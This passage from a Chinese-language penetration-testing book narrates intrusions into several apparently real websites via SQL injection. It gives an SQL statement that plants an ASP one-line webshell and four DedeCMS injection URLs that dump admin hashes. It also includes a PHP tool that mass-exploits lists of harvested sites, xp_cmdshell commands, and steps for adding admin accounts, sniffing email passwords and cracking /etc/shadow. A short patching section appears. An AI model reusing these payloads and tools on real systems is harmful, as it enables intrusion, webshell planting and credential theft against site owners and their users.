在进行SQL注入测试前,需要尽可能多地收集目标所使用系统的信息。通过探测和查看网页源代码,获知该系统使用NBArticle。下载NBArticle的两个版本,对其数据库进行分析和研究,该CMS系统管理员表名为NB_Master,然后将该表名和表字段添加到WebCruiser的系统设置中。
在漏洞扫描中,选中存在SQL注入点的记录,然后进行SQL注入测试。SQL注入测试与其他的SQL注入测试步骤相同,先猜测数据库,然后猜测表,再猜测表列名,最后猜测数据。如图5-7所示,直接获取了数据库中管理员的密码。
图5-7 获取数据
技巧
(1)由于已经知道该系统采用Access,因此,在进行SQL注入测试时,将数据库的类型直接设置为Access即可。
(2)在扫描出漏洞后,可以先在浏览器中进行SQL注入测试,以判断数据库的类型。虽然WebCruiser可以自动扫描出数据库的类型,但效果不是特别好,软件有时会长时间没有反应。
5.2.3 进入后台
获取的密码值为16位的cmd5加密值。将该值放入cmd5.com和xmd5.com中进行破解,由于密码设置不是很复杂,所以能免费查到。NBArticle的后台地址为http://www.xxx.org/manger/index.html,打开后台地址后输入管理员的账号和密码,成功进入后台,如图5-8所示。虽然成功进入后台,但该管理界面中未提供上传功能,因为目标网站对代码进行过修改,所以有些功能无法使用。
图5-8 进入后台
5.2.4 获取WebShell
在后台中,虽然有数据库备份,但无法获取数据库的真实地址,因此无法进行备份,也就是说,无法通过一句话木马进行数据库备份。但是,在高级管理中提供了SQL语句直接执行功能,如果知道网站的真实路径,那么可以通过执行SQL语句直接生成一句话木马。通过分析发现,后台首页提供了服务器信息,如图5-9所示,直接获取了网站后台的真实地址。
图5-9 获取网站真实路径
5.2.5 导入Shell到网站根目录
如图5-10所示,在SQL中输入语句“SELECT '<%execute request("a")%>' into [NB_master] in'd:\wwwroot\x.asp;a.xls' 'excel 8.0;' from NB_Master”并执行,即可获得一句话后门。
图5-10 执行SQL语句获取WebShell
注意
NB_Mater必须是CMS系统中真实存在的表,否则无法执行成功。
使用“中国菜刀”进行一句话木马测试,如图5-11所示,可成功获得该网站的WebShell权限。
图5-11 获取WebShell
5.2.6 上传大马进行控制
在“中国菜刀”中直接上传一个ASP.NET的WebShell并运行,如图5-12所示,通过该WebShell查看数据库及系统配置等信息。
图5-12 进一步收集信息
由于该网站的权限配置很严格,通过多种提权工具均不能获得系统管理员权限,所以只能放弃。至此,对该目标的渗透结束。
5.3 DedeCMS全版本SQL注入漏洞利用代码及工具
DedeCMS(即“织梦”,http://www.dedecms.com/)是目前著名的网站内容管理之一,以简单、实用、开源闻名,是国内最知名的PHP开源网站管理系统,也是用户最多的PHP类CMS系统。近日,网友在DedeCMS中发现了全版本的SQL注入漏洞,目前官方最新版已修复该漏洞。针对该漏洞,网友给出了好几个版本,下面就对这个漏洞的利用和实战等进行讨论和分析。
5.3.1 漏洞分析
我们对该漏洞进行分析。
1.比较漏洞文件
通过DedeCMS下载站点http://updatenew.dedecms.com/base-v57/package/下载补丁文件patch-v57&v57sp1-20140228.zip,阅读其更新文件说明可以知道,主要更新文件如下。
• dede/config.php:更新Cookies加密密码。
• include/helpers/channelunit.helper.php:禁用标签提示。
• include/uploadsafe.inc.php:可能导致SQL注入漏洞修复。
• member/soft_edit.php:文件上传过滤。
通过文件分析工具,对早期版本和更新的补丁进行比对,发现修改代码如下。
//***** 修补后.php
}
//$$_key = $_FILES[$_key]['tmp_name'] = str_replace("\\\\", "\\",
$_FILES[$_key]['tmp_name']);
$$_key = $_FILES[$_key]['tmp_name'] = $_FILES[$_key]['tmp_name'];
${$_key.'_name'} = $_FILES[$_key]['name'];
//***** 修补前.PHP
}
$$_key = $_FILES[$_key]['tmp_name'] = str_replace("\\\\", "\\",
$_FILES[$_key]['tmp_name']);
//吧$_FILES[$_key]['tmp_name']里面的\\\\替换为\\
${$_key.'_name'} = $_FILES[$_key]['name'];
2.漏洞利用分析
str_replace替换是本次出现SQL注入的关键,但$_FILES[$_key]['tmp_name']是PHP系统生成的随机变量,默认不可控。结合“include/common.inc.php”文件中的代码,只要变量名不包含“cfg”、“_GLOBALS”、“_GET”、“_POST”、“_COOKIE”即可。利用上面的代码,可以覆盖$_FILES,同时利用代码“$$_key =$_FILES[$_key]['tmp_name'] = str_replace("\\\\", "\\", $_FILES[$_key]['tmp_ name']);”。
3.漏洞利用代码
可利用代码1
plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=\' or mid=@`\'`
/*!50000union*//*!50000select*/1,2,3,(select
CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`
limit+0,1),5,6,7,8,9%23@`\'`+&_FILES[type][name]=1.jpg&_FILES[type][type]=applic
ation/octet-stream&_FILES[type][size]=6873
可利用代码2
plus/recommend.php?aid=1&_FILES[type][name]&_FILES[type][size]&_FILES[type][
type]&_FILES[type][tmp_name]=aa\'and+char(@`'`)+/*!50000Union*/+/*!50000SeLect*/
+1,2,3,group_concat(userid,0x23,pwd),5,6,7,8,9 from `%23@__admin`%23
可利用代码3
plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=\\%27%20or%20mid=@`\
\%27`%20/*!50000union*//*!50000select*/1,2,3,(select%20CONCAT(0x7c,userid,0x7c,p
wd)+from+`%23@__admin`%20limit+0,1),5,6,7,8,9%23@`\\%27`+&_FILES[type][name]=1.j
pg&_FILES[type][type]=application/octet-stream&_FILES[type][size]=4294
可利用代码4
plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=\'
or mid=@`\'` /*!50000union*//*!50000select*/1,2,3,(select
CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`
limit+0,1),5,6,7,8,9%23@`\'`+&_FILES[type][name]=1.jpg&_FILES[type]
[type]=application/octet-stream&_FILES[type][size]=111
还有网友根据漏洞利用方式开发出来一款漏洞利用工具,将网站地址输入利用工具,就可以获取管理员的密码,实际使用效果如图5-13所示。该工具仅对漏洞中的特定情况进行利用,对某些实际存在的漏洞则无法利用,且只能获取一个账号信息。
图5-13 DedeCMS SQL注入漏洞利用工具
4.利用方式探讨
对DedeCMS而言,只要获取了最高管理员权限,就可以通过文件管理器快捷、方便地获取WebShell,也即通过新建文件或者编辑PHP文件均可获取WebShell。但是,DedeCMS在安装时默认的后台管理地址为“http://www.somesite.com/dede”,实际安装过程中,处于对安全性的考虑,一般会修改默认后台,因此,即使获取了管理员密码,也可能无法获取网站权限。
本次漏洞利用思路如下。
• 通过Google搜索获取DedeCMS后台地址。
• 通过recommend.php页面进行SQL注入,获取管理密码。
• 登录后台,获取WebShell。
5.3.2 漏洞利用实例
下面给出改漏洞的一个利用实例。
01 利用Google搜索DedeCMS标识
在Google浏览器中搜索“Powered by DedeCMSV57_GBK_SP1 © 2004-2011 DesDev Inc.”,如图5-14所示,获取了49条搜索记录。在使用Google进行搜索时,可以设置显示结果为100,以便对结果进行整理。
图5-14 利用Google搜索DedeCMS标识
02 手动获取管理员密码
在搜索结果中随机选择一个网站地址,打开网站后,在其网站地址后面加入“/plus/recommend. php?aid=1&_FILES[type] [name]&_FILES[type] [size]&_FILES[type] [type]&_FILES[type] [tmp_name]= aa\%27and+char(@`%27`)+/* !50000Union*/+/* !50000SeLect*/+1,2,3,group_concat(userid,0x23,pwd),5,6,7,8,9%20from%20`%23@__admin`%23”,可获取管理员的账号和密码信息,如图5-15所示。
图5-15 测试SQL注入点
03 破解管理员密码
获取了3组账号和密码,分别是spider#f297a57a5a743894a0e4、3dsk#eed756463edea1f021db、admina#f297a57a5a743894a0e4(“#”为后为密码)。去掉前三位和最后一位,获取的字符串即为MD5密码。例如,用户spider的密码为7a57a5a743894a0e;用户admina的密码为7a57a5a743894a0e,破解后密码为“admin”。如图5-16所示,复杂密码可以在cmd5.com网站查询。
图5-16 破解管理员密码
04 登录后台并获取WebShell
找到后台管理地址后,输入获取的管理员和密码,进入后台管理系统,获取的账号必须是最高管理员权限。依次单击“附件管理”→“文件式管理器”,如图5-17所示,新建一个文件,加入一句话木马并保存,即可获取一句话后门。使用“中国菜刀”对该WebShell进行测试,如图5-18所示,顺利获取该网站的WebShell。
图5-17 插入一句话后门
图5-18 获取WebShell
05 批量获取管理员密码
网友“Sunshie”编写了一个DedeCMS漏洞批量利用工具,其源代码如下。
<?php
print_r(
"
+------------------------------------+
DEDECMS 批量利用工具
By :Sunshie
Usage: $argv[0] Filename
Example: php.exe $argv[0] url.txt
url.txt 是你采集的网址文件!
+------------------------------------+
\r\n\r\n\r\n"
);
$filename=$argv[1];
if(!file_exists($filename)) echo "o(╯□╰)o 你采集的文件呢?\r\n";
$conts = file_get_contents($filename);
$arrConts = explode("\n",$conts);
$arrConts=str_replace(" ","",$arrConts);
$arrConts=str_replace("\r","",$arrConts);
$arrConts=str_replace("\n","",$arrConts);
//print_r($arrConts );
for($i=0;isset($arrConts[$i]);$i++){
echo fuckdede($arrConts[$i]);
}
function fuckdede($sb){
$sb=str_replace("http://","",$sb);
$expp="http://".$sb."/plus/recommend.php?aid=1&_FILES[type][name]&_FILES[typ
e][size]&_FILES[type][type]&_FILES[type][tmp_name]=aa\'and+char(@`'`)+/*!50000Un
ion*/+/*!50000SeLect*/+1,2,3,concat(0x3C6162633E,group_concat(0x7C,userid,0x3a,p
wd,0x7C),0x3C2F6162633E),5,6,7,8,9%20from%20`%23@__admin`%23";
$exp=@file_get_contents($expp);
eregi("_<abc>(.*)</abc>_", $exp, $arr);
$exploit=str_replace("_<abc>", "==fuck", $arr[0]);
$exploit=str_replace("</abc>_", "fuck==", $exploit);
return "网址:".$sb."注入结果 : ".$exploit."\r\n--------------------------\r \n";
}
?>
利用方法为:通过网络搜集DedeCMS网站的网址,将网址整理到url.txt文件中,然后执行命令“php dedecms url.txt”,即可获取存在漏洞的网站管理员信息,如图5-19所示。
图5-19 批量获取管理员密码
5.3.3 漏洞修复方法探讨
关于漏洞修复,笔者认为有以下几个方法。
• 将升级程序到最新版本。下载最新补丁进行更新是最快捷的方法。补丁下载地址为http://updatenew.dedecms.com/base-v57/package/。
• 隐藏后台登录地址,对后台地址进行变异性更改,如“decms_2013_tx_fx_x”,目的是使攻击者无法通过猜测和扫描获取后台登录地址。
• 设置高强度的密码,将最高权限管理员的密码设置为15位(大小写字母+数字+特殊字符)以上,增加破解难度。
• 加入免费安全防范软件,如在网站中加入安全宝、360安全防护、安全狗等。
• 定期关注安全站点漏洞信息,定期对站点进行维护和检查。
参考文章
• DedeCMS全版本通杀SQL注入漏洞利用代码及工具:http://www.freebuf.com/tools/27206.html
• DedeCMS recommend.php注入:http://0day5.com/archives/1349
5.4 对某网站的一次安全检测
一个偶然的机会,笔者对某网站了进行安全渗透测试,发现该网站早就被渗透过,这也印证了——只要在互联网上,就没有不被攻击的目标。本次检测的站点在技术上面有一些特殊,主要在于思路方面,下面将整个过程与读者分享。
5.4.1 发现SQL注入点
在浏览器中输入网站地址http://www.somesite.com/xqdw/show_xqdw.asp?id=280,在末尾加入一个单引号,获取以下错误提示信息。
Microsoft OLE DB Provider for SQL Server 错误 '80040e14'
字符串 '280' ' 后的引号不完整。
/xqdw/show_xqdw.asp,行 7
5.4.2 获取数据库信息
显然,该网站架构为“IIS+MSSQL+ASP”,该地址存在SQL注入漏洞。将该地址复制到Pangolin中进行扫描,如图5-20所示,成功获取数据库的基本信息。数据库为SQL Server 2005,数据库权限为db_owner,无法直接通过sa提权获取服务器权限。
图5-20 获取数据库等信息
5.4.3 获取管理员账号和密码
通过Pangolin选择默认数据库,获取管理员表,猜解管理账号和密码,获取账号和密码信息admin#63641ad07f2bdf3e和ztz#53022d86c6ae8970(“#”为后为密码)。通过cmd5.com成功破解该账号密码,admin#tj***zh、ztz#138*******18(“#”为后为密码)。通过扫描软件获得的后台地址,系统提示无法登录,访问该地址就显示“发现一个不可以预料的错误”,如图5-21所示。猜测原因有两个:一个是程序存在错误;另一个是后台地址错误。
图5-21 无法登录后台地址
5.4.4 查看网站真实路径和文件名称等信息
由于存在的SQL注入点为db_owner权限,因此可以获取服务器上文件名称等信息,也即可以列目录,如图5-22所示,依次对C盘、D盘、E盘、F盘等进行列目录查看,最终获取该网站运行的真实路径为“F:\wode\Tx\”。
图5-22 获取网站真实路径
5.4.5 获取后台管理地址和权限
获取后台管理地址“http://www.somesite.com/xk_m* * *ge_new/xh_login.asp”,将获取的管理员用户和密码进行登录,成功进去后台,如图5-23所示。系统是在oblog上进行二次开发。通过分析后台功能,发现存在文件上传功能,但无法上传插入一句话后门的图片,如图5-24所示,提示有错误。
图5-23 获取后台管理权限
图5-24 无法上传图片
5.4.6 利用FCKeditor编辑器漏洞获取WebShell
既然通过后台无法获取WebShell,那么,我们回到Pangolin界面,对网站目录和文件进行分析。如图5-25所示,网站使用FCKeditor编辑器。
图5-25 获取FCKeditor编辑器信息
在浏览器地址栏中输入利用地址http://www.somesite.com/xk_m***ge_new/fck/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp,如图5-26所示,先新建“1.asp”文件夹,再上传图片后门。
图5-26 上传图片后门
5.4.7 获取WebShell权限
通过分析真实的图片地址,如图5-27所示,获取FCKeditor编辑器上传的真实路径http://www. somesite.com/fupload/Image。通过“中国菜刀”连接后门地址,如图5-28所示,成功获取WebShell权限。
图5-27 获取图片的真实地址
图5-28 获取WebShell权限
5.5 通过sa权限注入获取服务器权限
偶然获取站点www.chinaacn.com的SQL注入漏洞,且该漏洞为sa权限。处于研究的目的,对该网站开展渗透测试工作。写作本节内容时,该网站已经迁移到新的服务器,且重新编写了程序,调整了网站架构。下面将整个过程进行回顾和总结,与读者分享。同时,本节还重点对sa权限的各种命令和提权操作进行了总结。
5.5.1 网站漏洞扫描
直接使用JSky漏洞扫描软件新建一个扫描任务。扫描结束后,如图5-29所示,该网站是采用ASP语言编写的,存在3个SQL注入点,且存在高危漏洞。
图5-29 扫描网站安全漏洞
5.5.2 SQL注入渗透测试
在JSky漏洞扫描结果中,选择“http://www.chinaacn.com:80/new_News.asp?num=15&cutnum=18&GetName=hot&classid=1”所在的注入点,并使用Pangolin进行SQL注入测试,如图5-30所示,获取注入点的基本信息:数据库是MSSQL,且为sa权限。
图5-30 SQL注入测试
5.5.3 直接执行DOS系统提权命令
在Pangolin注入工具中,单击“Command”工具栏,如图5-31所示,在“Command”文本框中输入“net localgroup administrators”以查看所有管理员。在命令结果中可以看到,已经存在用户“jiaozhu”,说明该网站曾经被入侵过。在“Command”文本框中,通过命令新增一个管理员账号。
图5-31 执行系统提权命令
5.5.4 获取服务器权限
操作系统为Windows 2003 Server,通过扫描发现该网站所在服务器的远程终端服务器端口为3389,通过新增的用户账号和密码直接登录该服务器,如图5-32所示,成功进入该服务器,获得服务器权限。
图5-32 获取服务器权限
5.5.5 查看站点管理器
打开Internet信息服务器(IIS)管理器,如图5-33所示,可以看到该服务器上托管了多个网站,猜测为虚拟主机托管。同一个IP地址下存在多个网站,通过渗透某个网站而获取同服务器下其他目标站点的权限,俗称“旁注”。
图5-33 查看其他站点的信息
5.5.6 获取sa账号和密码
通过IIS管理器获取目标站点的物理路径“D:\china-ys\china-ys\wwwroot”,通过查看connsql.asp文件获取SQL数据库连接字符串配置信息,掌握sa账号和密码,如图5-34所示。
图5-34 获取sa账号和密码
5.5.7 使用Cain进行嗅探测试
在该计算机上安装新版本的Cain并进行相应配置,开始进行嗅探测试。如图5-35所示,获取SNMP管理账号和密码“link3226admin126.28”。
图5-35 获取SNMP管理账号和密码
5.5.8 获取邮箱账号和密码
在密码嗅探结果中,POP3协议下的效果不错,有114条记录,如图5-36所示,获取了邮箱账号和密码,以及POP3服务器的IP地址。在邮箱密码嗅探结果中随机抽取邮箱账号进行测试,如图5-37所示,可以正确登录。
图5-36 获取POP3邮件账号和密码
图5-37 测试邮件账号
5.5.9 总结与思考
• 由于SQL注入点为sa权限,因此,可以通过Pangolin注入工具直接执行system命令,在获取远程终端端口后,使用添加的账号直接登录并获取服务器权限,这是sa权限渗透的一种思路。
• 在获取服务器权限后,可以通过Cain对同服务器的C段IP地址进行嗅探,获取邮箱等账号和密码信息。主要目标无法渗透的情况下,可以渗透同网段的服务器。在获取同网段服务器权限的情况下,对目标服务器进行定向嗅探,有时会有意想不到的收获。
• sa权限直接添加账号有3种情况:SQL Server 2000可以直接执行命令;SQL Server 2005需要恢复xp_cmdshell存储过程;SQL Server 2008直接禁用了提权权限。
• SQL Server 2005可以在SQL语句中执行“EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;”来xp_cmdshell存储过程。
• 可以通过注入点执行命令“EXEC master..xp_cmdshell 'ipconfig'”。
5.6 通过SQL注入获取某Linux服务器权限
JSP网站的注入点相对较少。网站http://www.casic-amc.cn早期采用JSP,目前已经调整架构为ASPX。对存在SQL注入点的“JSP+MySQL”架构的利用思路与其他类型漏洞的利用方式基本相同,在本节的最后给出了总结。
5.6.1 扫描网站漏洞
对JSP网站,WSE(Web Vulnerability Scanner)扫描效果较好。该软件需要.NET Framework 3.5的支持。单击“Scanner”按钮,在“URL”文本框中输入需要扫描的网站地址,单击向右的绿色箭头开始扫描。
5.6.2 进行SQL注入测试
在扫描结果中随机选择存在SQL注入的记录“http://www.casic-amc.cn/software/content.jsp?id= 688”,首先对环境信息进行探测。如图5-38所示,获取MySQL版本为4.0.24,操作系统为Linux,MySQL用户为root账号,且可以直接获取MySQL root账号的密码。随后,通过查看“DataBase”标签页获取表及数据库中的数据,通过数据猜测获取的管理表中的账号和密码。
图5-38 获取环境版本信息
5.6.3 获取后台管理员权限
在WSE中,可以方便地对后台地址进行扫描。单击“AdminitrationEntry”选项,输入网站地址,通过扫描获取后台登录入口“http://www.casic-amc.cn/admin/login.jsp”。输入获取的账号和密码,通过验证后成功进入后台,如图5-39所示,可以看到“hanwm”用户拥有系统的最高权限,属性显示为“系统”。
图5-39 获取网站后台权限
5.6.4 对上传功能漏洞进行测试
通过对后台功能进行测试,最有可能获取WebShell权限的地方为“公告信息管理”模块。如图5-40所示,在新增页面中存在文件上传功能,对该上传功能进行文件上传测试。
图5-40 获取文件上传页面
5.6.5 获取文件读取漏洞
发现上传页面后,通过实际测试发现仅能上传图片文件,无法上传Shell文件,但通过该上传页面可以浏览服务器上的文件。
5.6.6 获取Linux账号和密码
通过文件读取漏洞,下载Linux下的“etc/passwd”和“etc/shadow”等文件。其中,“etc/shadow”包含系统中的所有用户名和密码,与Windows中的用户账号和密码类似,主要有“root”和“hanwm”两个账号,其他账号为系统内置账号,无法登录系统。
5.6.7 破解Linux账号
将该Shadow文件导入LC5中进行暴力破解,如图5-41所示,用户“hanwm”的密码为弱口令“123456”。Linux下的密码还可以通过John the Ripper(http://www.openwall.com/john/)密码破解工具进行破解。
图5-41 破解Linux账号
5.6.8 获取Linux SSH账号权限
通过SSH Secure Client登录该Linux服务器,当前目录即为网站目录,通过“cat test-mysql.jsp”命令获取该文件的内容。如图5-42所示,获得MySQL数据库的root账号和密码。如果要获取WebShell,则直接上传JSP类型的WebShell到该服务器即可。
图5-42 获取MySQL Root账号和密码
5.6.9 总结与思考
• 社工非常重要。回顾本次安全检测,发现还有一种方法可以直接获取WebShell,即通过SSH账号暴力破解。
• 所有获取的信息要再次利用。通过SQL注入获取了管理员的账号和密码,将这些密码加入密码字典,或者利用已有信息生成社工字典进行破解,效果将事半功倍。
• 对于Linux服务器,在有上传权限时,还需要考虑服务器上是否安装了nginx。如果已经安装,则可以通过上传图片获取WebShell,即通过上传图片网页木马phpinfo.jpg到uploads目录,然后访问地址http://192.168.1.103/uploads/phpinfo.jpg/1.php获取WebShell,文件1.php可以是任意PHP文件。